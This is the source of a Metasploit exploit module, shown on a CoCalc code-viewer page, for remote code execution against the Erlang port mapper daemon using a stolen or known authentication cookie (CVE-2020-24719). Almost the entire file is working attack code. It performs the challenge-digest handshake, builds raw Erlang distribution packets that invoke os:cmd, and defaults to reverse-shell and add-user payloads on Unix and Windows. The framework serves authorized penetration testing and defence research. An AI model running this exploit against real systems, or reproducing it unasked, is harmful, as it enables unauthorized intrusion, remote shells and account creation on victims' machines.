Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/erlang_cookie_rce.rb
24634 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
17
'Description' => %q{
18
The erlang port mapper daemon is used to coordinate distributed erlang instances.
19
Should an attacker get the authentication cookie RCE is trivial. Usually, this
20
cookie is named ".erlang.cookie" and varies on location.
21
},
22
'Author' => [
23
'Daniel Mende', # blog post article
24
'Milton Valencia (wetw0rk)', # metasploit module
25
],
26
'References' => [
27
['CVE', '2020-24719'],
28
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
29
],
30
'License' => MSF_LICENSE,
31
'Privileged' => 'false',
32
'Targets' => [
33
[
34
'Unix',
35
'Platform' => 'unix',
36
'Arch' => ARCH_CMD,
37
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
38
],
39
[
40
'Linux (CmdStager)',
41
'Type' => :cmdstager,
42
'Platform' => 'linux',
43
'Arch' => [ARCH_X64, ARCH_X86],
44
'CmdStagerFlavor' => ['printf', 'echo', 'bourne']
45
],
46
[
47
'Windows',
48
'Platform' => 'win',
49
'Arch' => ARCH_CMD,
50
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' },
51
],
52
[
53
'Windows (CmdStager)',
54
'Type' => :cmdstager,
55
'Platform' => 'win',
56
'Arch' => [ARCH_X64, ARCH_X86],
57
'CmdStagerFlavor' => ['certutil', 'vbs'],
58
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }
59
]
60
],
61
'DefaultTarget' => 0,
62
'DisclosureDate' => '2009-11-20',
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
} # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
68
)
69
)
70
71
register_options(
72
[
73
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
74
Opt::RPORT(25672)
75
]
76
)
77
end
78
79
def generate_challenge_digest(challenge)
80
challenge = challenge.unpack('H*')[0].to_i(16).to_s
81
82
hash = Digest::MD5.new
83
hash.update(datastore['COOKIE'])
84
hash.update(challenge)
85
86
vprint_status("MD5 digest generated: #{hash.hexdigest}")
87
return [hash.hexdigest].pack('H*')
88
end
89
90
def execute_command(cmd, opts = {})
91
# SEND: send the message to the node
92
send = "\x00\x00\x00" # Length:0x00000000
93
send << [(0x50 + cmd.length + @our_node.length * 2).to_s(16)].pack('H*')
94
send << "\x70" #
95
send << "\x83" # VERSION_MAGIC
96
send << "\x68" # SMALL_TUPLE_EXT (104)
97
send << "\x04" # Arity: 4
98
send << "\x61" # SMALL_INTEGER_EXT
99
send << "\x06" # Int: 6
100
send << "\x67" # PID_EXT (103)
101
send << "\x64\x00" # Node:
102
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
103
send << "#{@our_node}" # Node
104
send << "\x00\x00\x00\x03" # ID
105
send << "\x00\x00\x00\x00" # Serial
106
send << "\x00" # Creation
107
send << "\x64" # InternalSegmentIndex
108
send << "\x00\x00" # Len: 0x0000
109
send << "\x64" # InternalSegmentIndex
110
send << "\x00\x03" # Length: 3
111
send << "rex" # AtomText: rex
112
send << "\x83\x68\x02\x67\x64\x00" #
113
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
114
send << "#{@our_node}" # Node
115
send << "\x00\x00\x00\x03" # ID
116
send << "\x00\x00\x00\x00" # Serial
117
send << "\x00" # Creation
118
send << "\x68" # SMALL_TUPLE_EXT (104)
119
send << "\x05" # Arity: 5
120
send << "\x64" # InternalSegmentIndex
121
send << "\x00\x04" # Length: 4
122
send << "call" # AtomText: call
123
send << "\x64" # InternalSegmentIndex
124
send << "\x00\x02" # Length: 2
125
send << "os" # AtomText: os
126
send << "\x64" # InternalSegmentIndex
127
send << "\x00\x03" # Length: 3
128
send << "cmd" # AtomText: cmd
129
send << "\x6c" # LIST_EXT
130
send << "\x00\x00\x00\x01" # Length: 1
131
send << "\x6b" # Elements: k
132
send << "\x00" # Tail
133
send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command)
134
send << cmd
135
send << "\x6a" # NIL_EXT
136
send << "\x64" # InternalSegmentIndex
137
send << "\x00\x04" # Length: 4
138
send << "user" # AtomText: user
139
sock.put(send)
140
end
141
142
def exploit
143
connect
144
145
@our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
146
147
# SEND_NAME: send initial identification of who "we" are
148
send_name = "\x00" # Length: 0x0000
149
send_name << [(@our_node.length + 7).to_s(16)].pack('H*')
150
send_name << "\x6e" # Tag: n
151
send_name << "\x00\x05" # Version: R6 (5)
152
send_name << "\x00\x07\x49\x9c" # Flags (0x0007499c)
153
# DFLAG_EXTENDED_REFERENCES (0x4)
154
# DFLAG_DIST_MONITOR (0x8)
155
# DFLAG_FUN_TAGS (0x10)
156
# DFLAG_NEW_FUN_TAGS (0x80)
157
# DFLAG_EXTENDED_PIDS_PORTS (0x100)
158
# DFLAG_NEW_FLOATS (0x800)
159
# DFLAG_SMALL_ATOM_TAGS (0x4000)
160
# DFLAG_UTF8_ATOMS (0x10000)
161
# DFLAG_MAP_TAG (0x20000)
162
# DFLAG_BIG_CREATION (0x40000)
163
send_name << "#{@our_node}" # <generated>@<generated>
164
165
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
166
send_challenge_reply = "\x00\x15" # Length: 21
167
send_challenge_reply << "\x72" # Tag: r
168
169
sock.put(send_name)
170
171
# receive servers "SEND_CHALLENGE" token (4 bytes)
172
print_status("Receiving server challenge")
173
challenge = sock.get
174
challenge = challenge[14, 4]
175
176
send_challenge_reply << challenge
177
send_challenge_reply << generate_challenge_digest(challenge)
178
179
print_status("Sending challenge reply")
180
sock.put(send_challenge_reply)
181
182
if sock.get.length < 1
183
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
184
end
185
186
print_good("Authentication successful, sending payload")
187
188
print_status('Exploiting...')
189
if target['Type'] == :cmdstager
190
execute_cmdstager(:linemax => 100)
191
else
192
execute_command(payload.raw)
193
end
194
disconnect
195
end
196
end
197
198